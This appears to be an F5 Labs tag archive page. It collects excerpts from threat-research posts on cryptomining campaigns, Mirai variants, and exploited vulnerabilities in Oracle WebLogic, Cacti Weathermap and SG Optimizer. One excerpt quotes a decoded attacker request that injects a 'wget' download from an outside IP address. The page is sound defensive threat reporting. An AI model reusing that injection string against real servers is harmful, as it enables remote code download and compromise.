Tag: Attack Campaign
Figure 14: Statistics of the Monero mining payment address belonging to the attacker The attacker has earned 8.76 Monero coins by now,4 with a current price of 110.79 USD per a Monero coin,5 which totals to 970.52 USD. According to the information provided on the mining server website, this operation began around June 1.…
Read MoreAfter the vulnerable server decodes the string, it is instructed to download a malicious file. The malicious request after decoding is: oProxyCommand= wget http://185.29.8.28/down.php&port=143&user=sdf&passwd=sadf&server_type=imap&f_submit=Submit. Again, in this case the threat actor took down the malicious file download.php before the researchers could download it to analyze. Weathermap Editor (cacti plugin) Arbitrary Code Execution (CVE-2013-3739) Another known…
Read MoreConclusion Continuing the trend from January, threat actors in February delivered crypto-miners and Mirai variants. Most of the vulnerabilities exploited in February are not new, however, they are known vulnerabilities in popular applications and systems. In these cases, a threat actor is not looking for a specific target, but instead tries to exploit as many…
Read MoreF5 Labs published the first edition of our annual Application Protection Report in July 2018. For that report, we collaborated with Whitehat Security, Loryka, the Ponemon Institute, and Whatcom Community College’s Cybersecurity Center to analyze a wide range of data from 2017, and offer a comprehensive breakdown on the threats, tactics, vulnerabilities and impacts facing…
Read MoreAs we can see in Figure 8, the developers for SG Optimizer added a permission_callback command to the newly registered REST API routes. This indicates that prior to version 5.0.13, the SG Optimizer plugin had various privilege escalation vulnerabilities. Those vulnerabilities allowed any threat actor to send a malicious request to these registered REST API…
Read MoreOracle WebLogic WLS Security Component RCE (CVE-2019-2725) On April 21, 2019, information regarding a deserialization vulnerability in Oracle WebLogic Server was published by KnownSec 404 Team. According to the CVE, the vulnerability exists in the Web Services subcomponent of Oracle WebLogic. Similar to the previous Oracle WebLogic vulnerability discussed above, this new vulnerability also stems…
Read MoreSecurity researchers at F5 Networks constantly monitor web traffic at various locations throughout the world. This allows us to detect “in the wild” malware, and to get an insight into the current threat landscape. Here’s an overview of what we saw in May 2019. Throughout the month of May, the team detected 10 new attack…
Read MoreF5 researchers uncovered a cryptominer campaign delivering new Golang malware that targets Linux-based servers. Golang malware is not often seen in the threat landscape; it was first seen to mid-2018 and has continued throughout 2019. The malware campaign propagates using 7 different methods: 4 web application exploits (2 targeting ThinkPHP, 1 targeting Drupal, and 1…
Read MoreCryptominers are frequently included in recent attack campaigns; if you would like to learn more about cryptominers, please check out some of our previous monthly attack campaign wrap-ups. Conclusion Campaigns aimed at mining cryptocurrency and targeting Oracle WebLogic continue to rise in popularity. This has been fueled in part by the zero-day vulnerability found in…
Read MoreConclusion Campaigns aimed at mining cryptocurrency and targeting Oracle WebLogic are clearly on the rise, and F5 researchers anticipate this trend to continue. This has been fueled partly by the zero-day vulnerability (CVE-2019-2725)found in April 2019. Oracle WebLogic is used widely by large corporations, and the servers are resource-intensive. This attracts threat actors looking to…
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